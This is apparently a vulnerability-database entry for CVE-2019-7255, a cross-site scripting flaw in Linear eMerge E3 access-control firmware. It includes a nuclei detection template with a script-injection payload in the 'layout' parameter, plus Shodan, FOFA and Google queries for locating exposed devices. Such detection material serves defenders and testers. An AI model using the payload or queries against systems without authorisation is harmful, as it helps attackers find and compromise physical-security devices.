HexBrain

Browse / CVEs / CVE-2019-7255

CVE-2019-7255· nortekcontrol / linear emerge essential firmware· CWE-79

Linear eMerge E3 - Cross-Site Scripting

mediumseverity
6.1CVSS score
55.7%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

Linear eMerge E3-Series devices are vulnerable to cross-site scripting via the 'layout' parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/badging/badge_template_v0.php?layout=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "Template : <script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2019-7255 -u <target>

The full check
id: CVE-2019-7255

info:
  name: Linear eMerge E3 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    Linear eMerge E3-Series devices are vulnerable to cross-site scripting via the 'layout' parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.
  reference:
    - https://www.applied-risk.com/resources/ar-2019-005
    - https://applied-risk.com/labs/advisories
    - https://packetstormsecurity.com/files/155253/Linear-eMerge-E3-1.00-06-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-7255
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-7255
    cwe-id: CWE-79
    epss-score: 0.55654
    epss-percentile: 0.99045
    cpe: cpe:2.3:o:nortekcontrol:linear_emerge_essential_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: nortekcontrol
    product: linear_emerge_essential_firmware
    shodan-query:
      - http.title:"eMerge"
      - http.title:"emerge"
    fofa-query: title="emerge"
    google-query: intitle:"emerge"
  tags: cve,cve2019,emerge,xss,packetstorm,nortek,nortekcontrol,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/badging/badge_template_v0.php?layout=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Template : <script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from